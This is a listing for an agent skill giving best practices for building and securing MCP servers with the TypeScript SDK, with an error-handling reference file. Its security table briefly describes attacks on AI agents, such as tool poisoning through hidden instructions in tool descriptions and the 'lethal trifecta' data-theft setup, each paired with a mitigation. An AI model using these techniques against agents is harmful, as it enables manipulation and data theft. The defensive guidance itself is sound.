Claude Skill

mcp-best-practices

Build, harden, and debug production MCP servers with the TypeScript SDK. Use when writing or reviewing an MCP server or its tools - picking a transport, designing tool schemas and results, handling errors, adding OAuth, cutting token bloat, or migrating SDK versions. Also covers

LLM Mart · 0 points · 23 views 0 listing impressions 0 install-command copies
Virus-scanned Reviewed automatically before listing.

Full trust report

Download tenequm-skills-skills_mcp-best-practices-1ff2284.zip · 97 KB
Part of tenequm/skills — 25 skills

Install

skills CLI npx skills add https://github.com/tenequm/skills/tree/main/skills/mcp-best-practices
Claude Code claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install tenequm-skills@llmmart
Git git clone https://github.com/tenequm/skills.git

The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole tenequm/skills collection as a plugin from our marketplace. Git is the plain clone.

Skill manifest

MCP Best Practices

Decision reference for building production MCP servers with the TypeScript SDK. Not a tutorial - assumes you already have a working server and need to make it correct, fast, and secure.

Quick Reference

Component Current Notes
Spec (released) 2026-07-28 (specification) Stateless/sessionless overhaul - see "Spec 2026-07-28" below and references/spec-2026-07-28.md
Spec (still deployed) 2025-11-25 What most shipped clients and servers actually speak today; the v2 SDK's default
TS SDK (current) v2.0.0 (2026-07-27), nine packages in lockstep: /server, /client, /core, /hono, /express, /node, /fastify, /codemod, /server-legacy Speaks 2025-era by default; 2026-07-28 is opt-in
TS SDK (legacy) v1.30.0 (@modelcontextprotocol/sdk) Bug + security fixes for >=6 months after v2 GA; source on the v1.x branch
JSON Schema 2020-12 default (2019-09 / draft-07 accepted since v2.0.0) -
Transport Streamable HTTP (remote), stdio (local) SSE + WebSocket removed in v2
Extensions MCP Apps (Stable, SEP-1865), Auth Extensions (official), Tasks (ext-tasks) Domain-specific WGs
Registry Preview with v0.1 API freeze since 2025-10-24 (registry) GA pending

v2 imports (current):

import { McpServer } from "@modelcontextprotocol/server";
import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/server";
import { ProtocolError, ProtocolErrorCode } from "@modelcontextprotocol/core";

v1 imports (legacy line, still widely deployed):

import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";

The Two Eras

The most decision-relevant fact after the 2026-07-28 release: upgrading to SDK v2.0.0 does not move you to the new spec. A hand-constructed Client/Server/McpServer keeps speaking the 2025-era protocol it was written for.

Every revision from 2024-10-07 through 2025-11-25 opens with initialize and shares one wire behavior - the SDK calls that family legacy. 2026-07-28 starts the modern era: no initialize, a server/discover advertisement instead, a _meta envelope on every request. Selection is explicit:

versionNegotiation.mode Behavior
absent / 'legacy' The 2025 initialize handshake, byte for byte. No probe. This is the default.
'auto' Probe with server/discover; fall back to initialize against a 2025-only server
{ pin: '2026-07-28' } That revision or nothing - a pin never falls back

Build new servers on the 2025-era wire unless you control both ends. The stateless design guidance throughout this skill is what makes the eventual era switch cheap.

Tooling: SDK docs (v2); MCP Inspector, which connects as legacy by default (see "Testing Against Each Era" in references/spec-2026-07-28.md); the conformance suite; and the mcp-server-dev plugin for scaffolding.

Server Setup

Transport Decision

Scenario Transport Key Config
Remote, stateless (K8s, CF Workers) WebStandardStreamableHTTPServerTransport sessionIdGenerator: undefined, enableJsonResponse: true
Remote, stateful (long tasks, SSE) WebStandardStreamableHTTPServerTransport sessionIdGenerator: () => randomUUID()
Local CLI / Claude Desktop StdioServerTransport Default
Legacy SSE clients SSE removed in v2 - migrate to Streamable HTTP -

Stateless Pattern (recommended for remote deployment)

Per-request server+transport creation is the canonical pattern. Maintainer @ihrpr confirms: "each transport should have an instance of MCPServer" (#343). Sharing instances leaks cross-client data (GHSA-345p-7cg4-v4c7).

app.post("/mcp", async (c) => {
  const server = new McpServer({ name: "my-server", version: "1.0.0" });
  // Register tools, resources, prompts...
  registerTools(server);

  const transport = new WebStandardStreamableHTTPServerTransport({
    sessionIdGenerator: undefined,   // stateless - no session tracking
    enableJsonResponse: true,        // JSON responses, no SSE streaming
    // Origin/Host checking is OFF unless you turn it on: the SDK defaults
    // enableDnsRebindingProtection to false and leaves both lists unset.
    enableDnsRebindingProtection: true,
    allowedOrigins: ["https://app.example.com"],
    allowedHosts: ["mcp.example.com"],
  });

  // All tools/resources must be registered before connect() (#893)
  try {
    await server.connect(transport);
    return transport.handleRequest(c.req.raw);
  } finally {
    await transport.close();
    await server.close();
  }
});

The McpServer must be per-request, but its constant inputs must not be. Hoist to module level: Zod schemas, annotation objects ({ readOnlyHint: true, ... }), tool description strings, payment configs, upstream API clients.

If you only route POST (the common stateless layout), answer GET /mcp with an explicit 405 Method Not Allowed - the spec requires it when no SSE stream is offered, and the official TS client reads 405 as the benign no-stream signal, while an empty 200 sends it into a reconnect storm.

For transports, sessions, HTTP/2 gotchas, and K8s deployment: see references/transport-patterns.md

Framework Integration

The transport is web-standard, so Hono and the Workers runtime need no adapter; v2 also ships @modelcontextprotocol/hono (createMcpHonoApp()) and @modelcontextprotocol/express (wrapping NodeStreamableHTTPServerTransport for IncomingMessage/ServerResponse). On Cloudflare Workers call preloadSchemas() at module scope - v2's workerd build does it automatically. Examples: references/transport-patterns.md.

Tool Design

Registration API

v1 (legacy line) - server.tool(name, description, zodShape, annotations, handler). Positional overloads are ambiguous; same fields as v2 below minus outputSchema. Removed entirely in v2.

v2 (current) - registerTool() with config object:

server.registerTool("search_docs", {
  title: "Document Search",
  description: "Search documents by keyword or phrase",
  inputSchema: z.object({
    query: z.string().describe("Search query"),
    max_results: z.number().optional().describe("Max results (default 20)"),
  }),
  outputSchema: z.object({
    results: z.array(z.object({ id: z.string(), text: z.string() })),
    has_more: z.boolean(),
  }),
  annotations: { readOnlyHint: true, destructiveHint: false, idempotentHint: true, openWorldHint: true },
}, async ({ query, max_results }) => {
  const result = await fetchDocs(query, max_results);
  return {
    // Both channels carry IDENTICAL bytes. Divergent payloads = the text block
    // silently vanishes on Claude Code/Codex/Copilot. See "Tool Result Delivery" below.
    structuredContent: result,
    content: [{ type: "text", text: JSON.stringify(result) }],
  };
});

Naming

Spec 2025-11-25 (SHOULD, not MUST): 1-128 chars, case-sensitive, A-Za-z0-9_-. only. DO: search_docs, get_user_profile, admin.tools.list. DON'T: search (generic names collide across servers), Search Docs (spaces disallowed). Service-prefix (github_*, jira_*) when multiple servers are active - LLMs confuse generic names. Bake the prefix into the tool name itself: the spec is explicit that "The server name (from serverInfo) is not guaranteed to be unique across servers and SHOULD NOT be relied upon for disambiguation", so an aggregator cannot derive a safe prefix for you.

Schema Rules

.describe() on every field - this is what LLMs use for argument generation. Three constructs break silently (z.union(), raw JSON Schema, z.transform()), as does client-side AJV strict validation - see "Known SDK Bugs" below.

Pagination is the primitive most servers hit first: a tools/list or resources/list with 50+ entries should paginate. The protocol cursor is opaque - never parse or synthesize it; loop until nextCursor is absent. It is distinct from in-tool offset/limit args.

Zod-to-JSON-Schema conversion rules, outputSchema/structuredContent patterns, non-text content types, the other tool-definition fields (icons, listChanged, execution.taskSupport), and the remaining primitives (prompts, resources, resource templates, completions, cancellation): see references/tool-schema-guide.md

Annotations

All are optional hints (untrusted from untrusted servers per spec):

Annotation Default Meaning
readOnlyHint false Tool doesn't modify its environment
destructiveHint true May perform destructive updates (only when readOnly=false)
idempotentHint false Repeated calls with same args have no additional effect
openWorldHint true Interacts with external entities (APIs, web)

Set them accurately - clients use them for consent prompts and auto-approval decisions.

The "Lethal Trifecta": private-data access + exposure to untrusted content + external communication in one agent creates data-theft conditions (demonstrated with a malicious calendar event, an MCP calendar server, and a code-execution tool). Design tool sets so no single agent holds all three.

Stateful Tools

With no protocol-level session on 2026-07-28, cross-call state uses server-minted handles passed as ordinary tool arguments: a creation tool returns { basket_id: "bsk_a1b2c3" }, later tools take basket_id as an argument, and the model carries it forward. A handle is a name, not a capability - validate the caller against it on every call, keep it opaque with real entropy, and state its retention policy in the creation tool's description. Expired or unknown handles return a tool execution error so the model can recover by creating new state. Full rules: references/spec-2026-07-28.md.

Tool Result Delivery: content vs structuredContent

The footgun: when a tool returns BOTH a text content block and structuredContent, several major clients (Claude Code, Codex CLI, VS Code Copilot, Goose) silently drop the text block and forward only structuredContent to the model. If the two payloads differ, the human-readable one vanishes. This is client behavior the spec does not constrain - not an SDK transform. Don't return both channels expecting both to reach the model.

Empirically tested - Claude Code 2.1.165 (MCP 2025-11-25)

Measured with claude -p --output-format=stream-json, reading the exact tool_result the model received:

Tool returns What the model receives
One text block, no structuredContent text verbatim
content: [] + structuredContent JSON.stringify(structuredContent) as a string in the content slot - works
text block + structuredContent text block silently dropped; structuredContent wins
text + structuredContent + outputSchema same - outputSchema makes zero difference
two text blocks, no structuredContent both preserved verbatim

structuredContent is not a separate typed channel to the model on Claude Code - it is stringified into the standard tool_result content slot, so it costs the same tokens as the equivalent JSON-as-text. It does not buy cheaper or out-of-band structured data.

Intentional, per Anthropic maintainer (anthropics/claude-code#9962): structuredContent support landed in Claude Code v2.0.21 and "we made structuredContent the default when both formats are present... optimizing for agent performance." Reproduced across unrelated servers (Laravel, Roblox Studio, YouTube) - host-side precedence, not a server bug.

What the spec actually says (2025-11-25)

There is no precedence rule - the spec never says which field a client should prefer when both are present (Discussion #1563), and that gap is the documented root cause of client divergence. The only relevant normative line is a backwards-compat SHOULD: "a tool that returns structured content SHOULD also return the serialized JSON in a TextContent block." The official TypeScript SDK passes both fields through verbatim; any stringify-into-content you observe is the host harness, not the SDK.

Cross-client behavior (the matrix above is Claude Code only)

Client When both content + structuredContent present
Claude Code CLI, OpenAI Codex CLI, VS Code Copilot, Goose shadow - only structuredContent reaches the model (text dropped)
Cursor, Claude.ai web, ChatGPT MCP connector prefer content / surface both to the model
Google ADK (framework) forwards both by default; content-only is opt-in

(Non-Claude-Code rows come from issue trackers and maintainer statements, not the stream-json harness - treat exact delivery as client-version-dependent.)

The rule for server authors

  • DON'T return divergent content and structuredContent (e.g. a rendered ASCII table as text + different JSON as structured). On shadowing clients the text silently disappears and only the JSON reaches the model.
  • DO, if you emit structuredContent, mirror the same bytes into a text block: content: [{ type: "text", text: JSON.stringify(payload) }]. This is the spec's backwards-compat SHOULD. Shadowing clients use the structured copy; others fall back to the identical text - either way the model gets the data. Mirroring does not double tokens on shadowing clients (they drop the text).
  • PREFER one channel per tool / per mode. For a human-readable rendering (table, summary) to reach the model, return it as text only, no structuredContent - or expose a format: "table" | "json" arg (table -> text-only; json -> JSON mirrored into both channels). Both are empirically valid on Claude Code and keep one channel per call.
  • outputSchema gates client-side validation only; it does not make the text block survive on shadowing clients.

content blocks are not text-only - image, audio, resource_link, and embedded resource blocks all exist, with annotations (audience, priority, lastModified); for those and the image preview + URL pattern see references/tool-schema-guide.md.

Error Handling

Two distinct mechanisms with different LLM visibility:

Type LLM Sees It? Use For
Tool error (isError: true in CallToolResult) Yes - enables self-correction Input validation, API failures, business logic errors
Protocol error (JSON-RPC error response) Maybe - clients MAY expose Unknown tool, malformed request, server crash

Per SEP-1303 (merged into spec 2025-11-25): input validation errors MUST be tool execution errors, not protocol errors. The LLM needs to see "date must be in the future" to self-correct.

// DO: Tool execution error - LLM can self-correct
return {
  isError: true,
  content: [{ type: "text", text: "Date must be in the future. Current date: 2026-03-25" }],
};

// DON'T: Protocol error for validation - LLM can't see this
throw new McpError(ErrorCode.InvalidParams, "Invalid date");

Known SDK behavior: converting an McpError thrown from a tool handler into a CallToolResult drops the error.data field, so structured data embedded there may never reach the client. The x402/MPP ecosystem standardized on isError: true results with structuredContent for this reason.

For full error taxonomy, code examples, payment error patterns, and why -32042 is not available as a "Payment Required" code: see references/error-handling.md

Resources and Instructions

Set instructions in the server constructor - a system-level hint to the LLM about how to use your server:

const server = new McpServer({
  name: "docs-api",
  version: "1.0.0",
  instructions: "Knowledge base API. Use search_docs for full-text search, get_doc for retrieval by ID. All tools are read-only.",
});

Ship guides and structured data as resources under a docs:// URI scheme (server.resource(...)) - see "Other Server Primitives" in references/tool-schema-guide.md.

Performance

Token Bloat Mitigation

Tool definitions consume context window before any conversation starts. GitHub MCP: 20,444 tokens for 80 tools (SEP-1576).

Strategies:

  1. 5-15 tools per server - community sweet spot. Split beyond that.
  2. Outcome-oriented tools - bundle multi-step operations into single tools (e.g., track_order(email) not get_user + list_orders + get_status).
  3. Response granularity - return curated results, not raw API dumps. 800-token user object vs 20-token summary.
  4. outputSchema + structuredContent - typed output for programmatic/PTC clients. Caveat: on shadowing clients structuredContent is stringified into the model's context at the same token cost as text - not a free out-of-band channel (see "Tool Result Delivery").
  5. Dynamic tool loading - register only relevant tool subsets per request context (e.g. a ?tools=search,fetch query param). Pair with listChanged if the set changes mid-session. Vary the set per connection, not mid-conversation: tool definitions sit in the prompt prefix, and "Adding or removing tool definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens than the definitions you removed." A client must also treat a cached list as stale the moment list_changed arrives, even before the ttlMs you advertised.
  6. Progressive tool discovery / code mode - large-catalog clients increasingly use a search_tools meta-tool and programmatic tool calling, where structuredContent is consumed outside the model context (client best practices). Curated, well-described tools make these flows work.

Result-Size Budgets (per-client caps)

Clients silently truncate large tool results. Budget for the strictest client you target:

Client Default cap Configurable
Claude Code 25,000 tokens (warning at 10k) MAX_MCP_OUTPUT_TOKENS env; per-tool _meta["anthropic/maxResultSizeChars"] up to 500,000 chars, which replaces the token cap for text rather than being bounded by it
OpenAI Codex CLI 10,000 tokens on every current model (~40KB); bytes-mode 10,000 survives only on legacy gpt-5.2 and as the unknown-model fallback tool_output_token_limit config
Gemini CLI 40,000 chars (head 20% / tail 80% trim; full output saved to a file) settings; 0 or negative disables

Enforce your own cap server-side - see "Result-Size Budgets and Truncation" in references/tool-schema-guide.md. Two rules worth stating here: never truncate isError results (payment/auth challenges must survive intact), and treat client budgets as per-connection properties - accept them as URL query params (?max_chars=, alongside ?tools=) rather than growing every tool schema with override args.

Long-Running Tools

A client timeout is a wall clock, not an idle timer. Claude Code's per-server tool-call timeout is documented as a "Hard wall-clock limit per call; progress notifications do not extend it" - so the common instinct (emit notifications/progress to keep a slow call alive) does not work there. Progress is for the human watching, not for buying time.

Design past the cap instead: return quickly with a server-minted handle and let the caller poll (see "Stateful Tools"), or adopt the io.modelcontextprotocol/tasks extension, which is built for exactly this and returns a CreateTaskResult the client polls via tasks/get. Tasks is per-request opt-in - a server that cannot service a call synchronously for a client that did not declare the tasks capability MUST return -32021 (Missing Required Client Capability) naming the extension, not silently block.

No-Parameter Tools

For tools with no inputs, use an explicit empty schema - not undefined or omission:

inputSchema: { type: "object" as const, additionalProperties: false }

Security

Top Threats (real-world incidents, 2025-2026)

Attack Example Mitigation
Tool poisoning Hidden instructions in descriptions (WhatsApp MCP, Apr 2025) Review tool descriptions; clients should display them
Supply chain Malicious npm packages (Smithery breach, Oct 2025) Pin versions, audit dependencies
Stdio config injection User-controlled input reaches StdioServerParameters unsanitized (OX Security, 2026-04-15) Sanitize stdio config in client code; prefer first-party servers. Treated as "by design" - not patched in the SDK
Cross-server shadowing Malicious server overrides legitimate tool names Service-prefix tool names; validate tool sources
Token theft Over-privileged PATs with broad scopes Minimal scopes; OAuth 2.1 Resource Indicators (RFC 8707)
Token passthrough Server accepts/forwards tokens not issued for it Validate audience claim; never transit client tokens to upstream APIs
Confused deputy Proxy server consent cookies exploited via DCR Per-client consent before forwarding to third-party auth
Session hijacking Stolen/guessed session IDs for impersonation Cryptographically random IDs, bind to user identity, never use for auth
Cross-client response leak Shared McpServer/transport reused across clients (CVE-2026-25536, affects v1.10.0-1.25.3) Require SDK >= v1.26.0; per-request server+transport
UriTemplate ReDoS Malicious URI patterns (CVE-2026-0621) Upgrade to v1.25.2+ / v2.0.0-alpha.1+

Generic hygiene still applies: validate inputs at tool boundaries, enforce per-user access control, rate limit, never interpolate tool input into shell commands, block private IPs on outbound fetches, bind local servers to 127.0.0.1.

Server-Side Requirements (spec normative)

  • Validate the Origin header - but only reject when it is present and invalid: "If the Origin header is present and invalid, servers MUST respond" with 403. Shipping clients exist that send no Origin at all; a blanket 403-on-missing locks them out.
  • Turn the checks on. WebStandardStreamableHTTPServerTransport defaults enableDnsRebindingProtection to false and leaves allowedOrigins/allowedHosts unset, so the stock stateless constructor validates nothing. The @modelcontextprotocol/express and /hono factories enable Host validation for localhost by default; the raw transport does not.
  • MCP-Protocol-Version is not optional on a modern wire. The header survived the sessionless overhaul: "Every POST request to the MCP endpoint MUST include an MCP-Protocol-Version header", and its value MUST match io.modelcontextprotocol/protocolVersion in the body's _meta or the server MUST answer 400 Bad Request with a HeaderMismatch error. The version rides _meta and the header, redundantly and on purpose - intermediaries route on the header while the server executes on the body, so both must agree.
  • Be lenient about which version, not about whether it is declared. On 2025-era wires accept a range of declared versions rather than enforcing one - clients advertising 2024-11-05 are still in the wild, and a server supporting pre-2025-06-18 clients MAY treat a header-less request as 2025-03-26. A server that does not support those clients MUST reject a header-less request.

Auth (OAuth 2.1)

MCP normatively requires OAuth 2.1 (draft-ietf-oauth-v2-1-13), not 2.0 - PKCE mandatory, implicit flow removed. Servers are Resource Servers; clients MUST send Resource Indicators (RFC 8707) binding tokens to your server.

  • Validate audience - reject tokens not issued for your server (passthrough is forbidden). PKCE S256, short-lived tokens, minimal scopes (elevate via WWW-Authenticate challenges).
  • Use a tested validation library (Keycloak, Auth0, ...) - don't roll your own; never log Authorization headers/tokens/secrets.
  • RFC 9207 iss interop footgun: advertising authorization_response_iss_parameter_supported: true makes strict clients MUST-validate a callback iss that some of them drop. Advertise the flag as false while still sending iss - see references/security-auth.md.

For full security attack/mitigation patterns and auth implementation details: see references/security-auth.md

Known SDK Bugs

Must-know as of sdk@1.30.0 / server@2.0.0:

  • z.union()/z.discriminatedUnion() silently produce empty schemas on every released v1, v1.30.0 included (#1643, backport still open) - use flat z.object() + z.enum().
  • Require SDK >= v1.26.0 - shared instances leaked cross-client data below that (CVE-2026-25536).
  • Register everything before connect() - later registration throws; open on both main and v1.x (#893).
  • Client AJV strict rejects unstripped structuredContent extras - .parse() upstream data first, or .passthrough() for intentional extras.
  • v1.30.0 stamps every tool schema "$schema": "http://json-schema.org/draft-07/schema#", and a strict 2020-12 client rejects the whole tool: "JSON Schema declares an unsupported dialect ... The default validator supports JSON Schema 2020-12 only." One bad schema can take the server's other tools down with it in clients that drop the whole tools/list. v2 emits 2020-12. Open (#2721, #2677); @modelcontextprotocol/inspector >= 2.4.0 flags it for you.
  • Don't reuse one McpServer across createMcpHandler requests on v2. Each request wraps onclose, the chain grows unbounded, and it dies with RangeError: Maximum call stack size exceeded at roughly 19-25k accumulated sessions - affects released server@2.0.0 (#2607). The per-request pattern above is the fix.

Full table (statuses, zod 3->4 dropping additionalProperties, refine/superRefine never running, transport-closure stack overflow, HTTP/2, raw JSON Schema, z.transform(), ReDoS): see references/sdk-bugs.md

V2 Migration

For comprehensive migration guide with all breaking changes and before/after code: see references/v2-migration.md

Key breaking changes:

  1. Package split: @modelcontextprotocol/sdk -> @modelcontextprotocol/server + /client + /core
  2. ESM-first (CJS builds restored in beta.2), Node.js 20+ (Bun/Deno supported)
  3. Zod v4 required (or any Standard Schema library)
  4. McpError -> ProtocolError (from @modelcontextprotocol/core)
  5. extra parameter -> structured ctx with ctx.mcpReq
  6. server.tool() -> registerTool() (config object, not positional args)
  7. SSE server transport removed (clients can still connect to legacy SSE servers)
  8. @modelcontextprotocol/hono and @modelcontextprotocol/express middleware packages
  9. DNS rebinding protection enabled by default for localhost servers

v1.x gets 6 more months of support after v2 stable ships. No rush, but write new code with v2 patterns in mind.

Spec 2026-07-28 (released)

Published 2026-07-28 (release announcement, changelog) - now the latest revision. Remember it is opt-in on the SDK (see "The Two Eras"): 2025-11-25 remains what most deployed software speaks.

Four shifts that change a decision you make today:

  • MCP is stateless and sessionless. The initialize handshake and Mcp-Session-Id are gone (SEP-2575, SEP-2567); every request carries its protocol version, client identity, and capabilities in _meta, and cross-call state uses handles (see "Stateful Tools"). Do not build new servers on session affinity.
  • server/discover is a server MUST - it advertises versions/capabilities/identity; clients MAY skip it and handle UnsupportedProtocolVersionError inline.
  • Roots, Sampling, Logging, and the HTTP+SSE transport are Deprecated under a formal feature lifecycle (12-month minimum window, SEP-2577/SEP-2596). They still work; design new servers without them.
  • Allocate application-defined error codes outside -32768..-32000 - -32020..-32099 is reserved for the spec and -32000..-32019 is legacy that new implementations SHOULD NOT use at all (PR #2907).

The content vs structuredContent dual-delivery footgun is unchanged - no precedence rule landed, so the guidance above still holds.

Everything else - MRTR, subscriptions/listen, _meta identity keys, requestState, Mcp-Method/Mcp-Name, cacheable results, per-request log level, auth changes, the removals (SSE resumability, ping, execution.taskSupport), era testing, working groups: see references/spec-2026-07-28.md

Extensions

Optional, strictly additive capabilities named {vendor-prefix}/{extension-name} (official: io.modelcontextprotocol/*; third-party: reversed domain). Negotiated in initialize capabilities on 2025-era wires; on 2026-07-28 clients advertise support per request in _meta["io.modelcontextprotocol/clientCapabilities"]. Official ones: MCP Apps (/ui, interactive HTML UIs, Stable, widely supported; ext-apps 2.0.0 since 2026-09-08 - breaking on the TypeScript side only, the wire protocol is unchanged), OAuth Client Credentials (Draft), Enterprise-Managed Authorization (Stable 2026-06-18), Tasks (official since 2026-08-19) - client matrix.

Server capabilities beyond tools, all 2025-era APIs (the SDK default):

Capability Purpose v2 API
Elicitation Request structured user input mid-tool ctx.mcpReq.elicitInput()
Sampling Request LLM completion from client ctx.mcpReq.requestSampling()
Tasks Long-running ops with lifecycle management Official extension (SEP-2663)
Progress Incremental progress on requests ctx.mcpReq.sendProgress()

On 2026-07-28 servers cannot send requests to clients at all: elicitation and sampling go through MRTR (return an InputRequiredResult, read inputResponses on the retry). Tasks moved out of core into the polled io.modelcontextprotocol/tasks extension (ext-tasks).

For MCP Apps architecture, ext-apps SDK, and build patterns: see references/mcp-apps.md For the extensions system, auth extensions, elicitation/sampling/tasks detail, and the MCP Registry: see references/extensions-registry.md

Files (skills)
  • references
    • error-handling.md 12.2 KB
      # Error Handling
      
      Full error taxonomy, code examples, and patterns for tool errors, protocol errors, and payment integration.
      
      ## Table of Contents
      - [Error Taxonomy](#error-taxonomy)
      - [Tool Execution Errors](#tool-execution-errors)
      - [Protocol Errors](#protocol-errors)
      - [The error.data Loss Bug](#the-errordata-loss-bug)
      - [Error Helper Pattern](#error-helper-pattern)
      - [Payment Error Patterns](#payment-error-patterns)
      
      ## Error Taxonomy
      
      MCP has two distinct error reporting mechanisms. Choosing the wrong one makes the LLM blind to fixable problems.
      
      | Type | JSON-RPC | LLM Visibility | Self-Correction | Use For |
      |------|----------|----------------|-----------------|---------|
      | **Tool Execution Error** | `CallToolResult` with `isError: true` | Always (clients SHOULD show) | Yes | Input validation, API failures, business logic, rate limits |
      | **Protocol Error** | JSON-RPC error response (`{ error: { code, message } }`) | Maybe (clients MAY show) | No | Unknown tool, malformed request, server crash, capability mismatch |
      
      **The rule** (SEP-1303, merged into spec 2025-11-25): If the LLM could self-correct by seeing the error message, it MUST be a Tool Execution Error. Protocol errors are for structural problems the LLM can't fix.
      
      ### SEP-2140 Extension (proposal; issue closed in favor of spec PR #2145)
      
      Extends SEP-1303 to cover three more cases that should also be Tool Execution Errors:
      1. **Tool resolution failures** - unknown tool name (currently protocol error)
      2. **Tool unavailability** - disabled/policy-restricted tool
      3. **Output validation failures** - structuredContent doesn't match outputSchema
      
      Source: [modelcontextprotocol#2140](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2140), closed 2026-01-23 in favor of [PR #2145](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2145)
      
      ## Tool Execution Errors
      
      Return `isError: true` in the `CallToolResult`. The content array carries the error message the LLM will see.
      
      ### Input Validation
      
      ```typescript
      async function searchHandler({ query, since }: { query: string; since?: string }) {
        // Validate input - return tool error so LLM can correct
        if (since) {
          const date = new Date(since);
          if (isNaN(date.getTime())) {
            return {
              isError: true,
              content: [{ type: "text", text: `Invalid date format: "${since}". Use ISO format (YYYY-MM-DD).` }],
            };
          }
          if (date > new Date()) {
            return {
              isError: true,
              content: [{ type: "text", text: `Date must be in the past. Received: ${since}. Current: ${new Date().toISOString().split("T")[0]}` }],
            };
          }
        }
      
        const results = await doSearch(query, since);
        return { content: [{ type: "text", text: JSON.stringify(results) }] };
      }
      ```
      
      ### Upstream API Failures
      
      ```typescript
      async function fetchHandler({ url }: { url: string }) {
        try {
          const response = await fetch(url);
          if (!response.ok) {
            return {
              isError: true,
              content: [{ type: "text", text: `Upstream returned ${response.status}: ${response.statusText}. Try a different URL or check if the service is available.` }],
            };
          }
          const data = await response.json();
          return { content: [{ type: "text", text: JSON.stringify(data) }] };
        } catch (err) {
          return {
            isError: true,
            content: [{ type: "text", text: `Network error fetching ${url}: ${err instanceof Error ? err.message : "unknown"}. The service may be down.` }],
          };
        }
      }
      ```
      
      ### Rate Limits
      
      ```typescript
      return {
        isError: true,
        content: [{ type: "text", text: "Rate limit exceeded. Wait 30 seconds before retrying. Current limit: 10 requests/minute." }],
      };
      ```
      
      ### Key Principles
      
      1. **Be specific** - include the bad value, the expected format, and a correction hint
      2. **Include context** - current date, limits, valid options
      3. **Be actionable** - tell the LLM what to do differently
      4. **Never return stack traces** - they waste tokens and leak internals
      
      ### Forgiving Input Recovery
      
      If an argument's intent is unambiguous, recover it instead of returning an error: accept a full URL where a bare handle is expected (and vice versa), map common aliases (`image_url`/`media_url`/`src`/`href` -> `url`), coerce obvious scalar/array mismatches. Agents routinely vary surface forms, and every avoidable `isError` costs a round-trip. Reserve errors for genuine ambiguity - and then follow the principles above with an actionable hint.
      
      ## Protocol Errors
      
      Use JSON-RPC error responses (via `McpError` in v1, `ProtocolError` in v2) only for structural problems. Standard JSON-RPC error codes:
      
      | Code | Name | When |
      |------|------|------|
      | `-32600` | Invalid Request | Malformed JSON-RPC |
      | `-32601` | Method Not Found | Unknown method |
      | `-32602` | Invalid Params | Schema validation failure at protocol level |
      | `-32603` | Internal Error | Server crash, unrecoverable |
      | `-32000` to `-32099` | Server errors | Custom server-defined errors |
      
      ```typescript
      import { McpError, ErrorCode } from "@modelcontextprotocol/sdk/types.js";
      
      // Only for structural problems the LLM can't fix
      throw new McpError(ErrorCode.InternalError, "Database connection lost");
      ```
      
      ## The error.data Loss Behavior
      
      **Critical**: The SDK strips `error.data` when converting an `McpError` thrown from a tool handler into a `CallToolResult`. If you embed structured data in McpError's `data` field (e.g., payment challenges, retry metadata), it does not reach the client. This is observed across the x402/MPP MCP ecosystem - see Client Compatibility table below. (Historically `-32042` was the one code observed to survive with `error.data` intact - do not rely on it: as of spec 2026-07-28 that code is spec-allocated and off-limits, see [Payment Error Patterns](#payment-error-patterns).)
      
      ```typescript
      // BROKEN: error.data is lost in transit
      // (1002 = application-defined, outside the JSON-RPC reserved range -32768..-32000)
      throw new McpError(1002, "Payment Required", {
        x402Version: 2,
        accepts: [{ scheme: "exact", network: "base", price: "5000" }],
      });
      // Client receives: { code: 1002, message: "Payment Required" }
      // The accepts array is GONE
      
      // FIX: Use isError tool result with structured content
      return {
        isError: true,
        content: [{ type: "text", text: JSON.stringify({
          error: "Payment Required",
          x402Version: 2,
          accepts: [{ scheme: "exact", network: "base", price: "5000" }],
        })}],
        structuredContent: {
          error: "Payment Required",
          x402Version: 2,
          accepts: [{ scheme: "exact", network: "base", price: "5000" }],
        },
      };
      ```
      
      ## Error Helper Pattern
      
      Create a reusable helper for consistent error formatting:
      
      ```typescript
      // Module-level helper
      function toolError(message: string, details?: Record<string, unknown>): {
        isError: true;
        content: Array<{ type: "text"; text: string }>;
        structuredContent?: Record<string, unknown>;
      } {
        const payload = details ? { error: message, ...details } : { error: message };
        return {
          isError: true,
          content: [{ type: "text", text: details ? JSON.stringify(payload) : message }],
          ...(details && { structuredContent: payload }),
        };
      }
      
      // Usage
      return toolError("Rate limit exceeded", {
        retry_after_seconds: 30,
        current_limit: "10/min",
      });
      
      return toolError("Invalid date format. Use ISO (YYYY-MM-DD).");
      ```
      
      ## Payment Error Patterns
      
      For MCP servers gated by payment protocols (x402, MPP), errors need to carry payment metadata that clients can act on programmatically.
      
      > **HTTP status is always 200.** A payment/auth challenge returned as an `isError: true` tool result is a *successful* JSON-RPC response, so it rides HTTP `200` - not `401`/`402`. Clients (and anyone testing with `curl`) must parse the JSON-RPC body for the challenge; don't gate on the HTTP status code. Misreading this as "auth is broken" is a common false alarm.
      
      ### Do not use `-32042` for payments (collision with the released spec)
      
      Some payment tooling follows the Internet-Draft [`draft-payment-transport-mcp-00`](https://paymentauth.org/draft-payment-transport-mcp-00.html) (self-published 2026-07-03; not on the IETF datatracker), which claims `-32042` for "Payment Required" and `-32043` for "payment verification failed". **Both codes collide with MCP's own allocation policy as of spec 2026-07-28.**
      
      The released spec partitions the JSON-RPC implementation-defined range and puts `-32020..-32099` under exclusive spec control:
      
      > **`-32020` to `-32099` - reserved for the MCP specification.** [...] Implementations **MUST NOT** emit any code from this sub-range that is not defined by this specification and **MUST** use defined codes only with their specified meanings.
      
      `-32042` is already spec-allocated - as *"URL elicitation required (2025-11-25 only)"*, a retired code that implementations of the current revision MUST NOT emit at all. A payment challenge sent as `-32042` is therefore both spec-violating and ambiguous with a real (if retired) MCP meaning.
      
      **What to do instead**, in order of preference:
      
      1. **Use the `isError: true` tool-result pattern below.** It is what the x402/MPP ecosystem actually interoperates on, it survives the `error.data` loss described above, and it is unaffected by the code-allocation policy.
      2. If you genuinely need a protocol-level code, **allocate outside the JSON-RPC reserved range entirely** - the spec is explicit that new codes "**SHOULD** be allocated outside the JSON-RPC reserved range (`-32768` to `-32000`)".
      
